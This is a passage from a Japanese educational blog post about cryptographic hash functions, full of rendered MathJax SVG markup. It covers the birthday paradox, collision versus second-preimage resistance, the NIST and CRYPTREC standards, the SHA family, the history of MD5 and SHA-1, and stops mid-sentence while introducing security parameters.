<li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -1.439ex;" xmlns="http://www.w3.org/2000/svg" width="25.655ex" height="3.476ex" role="img" focusable="false" viewBox="0 -900.3 11339.4 1536.5"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1467.6,0)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(2355.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3022.3,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(4078.1,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(4800.3,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mfrac" transform="translate(5800.6,0)"><g data-mml-node="mrow" transform="translate(2140.8,394) scale(0.707)"><g data-mml-node="mn"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><g data-mml-node="mo" transform="translate(1500,0)"><path data-c="21" d="M78 661Q78 682 96 699T138 716T180 700T199 661Q199 654 179 432T158 206Q156 198 139 198Q121 198 119 206Q118 209 98 431T78 661ZM79 61Q79 89 97 105T141 121Q164 119 181 104T198 61Q198 31 181 16T139 1Q114 1 97 16T79 61Z"></path></g></g><g data-mml-node="mrow" transform="translate(220,-459.4) scale(0.707)"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><g data-mml-node="mi" transform="translate(1533,393.1) scale(0.707)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g></g><g data-mml-node="mo" transform="translate(2210.9,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mo" transform="translate(2988.9,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mn" transform="translate(3377.9,0)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><g data-mml-node="mo" transform="translate(4877.9,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mi" transform="translate(5655.9,0)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(6543.9,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(6932.9,0)"><path data-c="21" d="M78 661Q78 682 96 699T138 716T180 700T199 661Q199 654 179 432T158 206Q156 198 139 198Q121 198 119 206Q118 209 98 431T78 661ZM79 61Q79 89 97 105T141 121Q164 119 181 104T198 61Q198 31 181 16T139 1Q114 1 97 16T79 61Z"></path></g></g><rect width="5298.9" height="60" x="120" y="220"></rect></g></g></g></svg></mjx-container></li>
</ul>
<p>です。wikipediaにちょうどいいグラフがあったので示します。</p>
<img src="/images/2023/20231124a/image.png" alt="image" width="1200" height="773" loading="lazy">

<p>おおよそ<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="10.611ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4690.1 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mn" transform="translate(1467.6,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" transform="translate(500,0)"></path></g><g data-mml-node="mo" transform="translate(2467.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3134.3,0)"><path data-c="223C" d="M55 166Q55 241 101 304T222 367Q260 367 296 349T362 304T421 252T484 208T554 189Q616 189 655 236T694 338Q694 350 698 358T708 367Q722 367 722 334Q722 260 677 197T562 134H554Q517 134 481 152T414 196T355 248T292 293T223 311Q179 311 145 286Q109 257 96 218T80 156T69 133Q55 133 55 166Z"></path></g><g data-mml-node="mn" transform="translate(4190.1,0)"><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path></g></g></g></svg></mjx-container>％に対して、 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="11.742ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 5190.1 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mn" transform="translate(1467.6,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" transform="translate(500,0)"></path></g><g data-mml-node="mo" transform="translate(2467.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3134.3,0)"><path data-c="223C" d="M55 166Q55 241 101 304T222 367Q260 367 296 349T362 304T421 252T484 208T554 189Q616 189 655 236T694 338Q694 350 698 358T708 367Q722 367 722 334Q722 260 677 197T562 134H554Q517 134 481 152T414 196T355 248T292 293T223 311Q179 311 145 286Q109 257 96 218T80 156T69 133Q55 133 55 166Z"></path></g><g data-mml-node="mn" transform="translate(4190.1,0)"><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)"></path></g></g></g></svg></mjx-container>％となります。</p>
<p>自分と同じ誕生日の人を探すと大変なのに、同じ誕生日になるペアが見つかるのはそれほど不思議ではない、というやや直感的でない結果が得られます（「誕生日のパラドックス」というそうです）。</p>
<p>このように、一般的には第二原像を見つけることより衝突を見つけることの方がずっと簡単です。</p>
<h2 id="暗号技術の標準化を目指す組織とハッシュアルゴリズムの種類">暗号技術の標準化を目指す組織とハッシュアルゴリズムの種類</h2><p>このような暗号技術に関して、その安全性を監視・評価している機関が国内外にあります。</p>
<p>本資料で参考にしている NIST（National Institute of Standards and Technology：アメリカ国立標準技術研究所） は、ITL(Information Technology Laboratory：情報技術研究所) という研究部門で、このセキュリティに関する標準化をおこなっています。</p>
<p>日本では、CRYPTREC（CRYPTography Research and Evaluation Committees：暗号技術評価委員会） という機関が、国内の電子政府推奨暗号の安全性を評価・監視しています。</p>
<p>NISTは標準のハッシュ関数として、 FIPS 180-4 と FIPS 202 を公開しています。日本国内でも、電子政府推奨暗号リストとしてこれらの利用を公開しています。</p>
<p>FIPS 180-4では、以下の7つが推奨されるハッシュ関数として規定されました。なお、2011年にはSHA-1の使用を非推奨にする発表を出し、2022年12月にはSHA-1を廃止する発表が出ています（参考）</p>
<ul>
<li>SHA-1</li>
<li>SHA-2（SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256）</li>
</ul>
<p>SHAの後ろについている数字がハッシュ関数の出力ビット数です。SHA-256は長さが256ビットのハッシュ値を返す、という形です。これらは要求されるセキュリティレベルによって使い分けられます。</p>
<p>FIPS-202では、SHA-2に加えてSHA-3が追加されました。SHAKEはSHA3を拡張したハッシュ関数で、出力のハッシュ値をセキュリティレベルに応じて変更できます。</p>
<ul>
<li>固定長を返すハッシュ関数： SHA3-224, SHA3-256, SHA3-384, SHA3-512</li>
<li>可変長を返すハッシュ関数： SHAKE128, SHAKE256</li>
</ul>
<h2 id="ハッシュ関数の歴史">ハッシュ関数の歴史</h2><p>ここでは主なハッシュ関数の歴史に触れます。画像は参考図書にも掲載されているものです（引用元）</p>
<img src="/images/2023/20231124a/hashFunction_history.png" alt="hashFunction_history.png" width="937" height="386" loading="lazy">

<ul>
<li>1992年にMD5が登場しましたが、暗号学的ハッシュ関数ではなかったこともあり、12年後に衝突困難性が破られてしまいました。メッセージから固定値(128bit)のハッシュ値を生成します。この関数は高速で単純だったことから、メッセージの整合性確認などで広く用いられたようです。</li>
<li>SHA-1は1995年に標準化され、理論的な攻撃可能性の提案に10年かかり、2017年には衝突困難性が破られました。先述の通り、2011年にはSHA-1の使用を非推奨にする発表を出し、2022年12月にはSHA-1を廃止する流れになっています。</li>
<li>SHA-2は2001年に標準化され、その中のSHA-256は現在も推奨暗号として広く利用されています。</li>
<li>SHA-3は、SHA-1の攻撃突破が危惧された頃に、これまでとは異なる構造のアルゴリズムが必要になるだろうという危惧から考えられたハッシュ関数群です。しかし幸いなことにSHA-2の衝突困難性がなかなか破られておらず、あまり積極的には利用されていません。</li>
</ul>
<p>SHA-2, SHA-3の理論的な側面まで深掘りをしたかったのですが、<del>それを書くには余白が足りず</del> 細かくて時間が足りないので、ここでは割愛します。気になる方は、参考書籍やNISTのFIPSの資料、および参考書籍の巻末に掲載されている資料を参照してください。</p>
<h2 id="暗号技術の安全性とは">暗号技術の安全性とは</h2><p>暗号技術をせっかく使うなら、理想的には「どうやっても絶対に破られない暗号」を使いたいです。しかし、小さな秘密鍵を使って大きな平文を暗号化しようとする以上、理論的にこのような理想の暗号技術を作ることはできません。そこで、「理想の安全性はないけれども現実的には破れないだろう」という暗号を考え、それを測る指標として「<strong>セキュリティパラメータ</strong>」というもので計算コストを考えます。</p>
<p>例えば、共通鍵暗号では鍵長が N ビットであればその種類は <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0;" xmlns="http://www.w3.org/2000/svg" width="2.74ex" height="1.914ex" role="img" focusable="false" viewBox="0 -846 1210.9 846"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="mi" transform="translate(533,363) scale(0.707)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g></g></g></g></svg></mjx-container> 通りあるので、ブルートフォース法（しらみつぶしにパターンを試す）での計算量が <mjx-container class="MathJax" 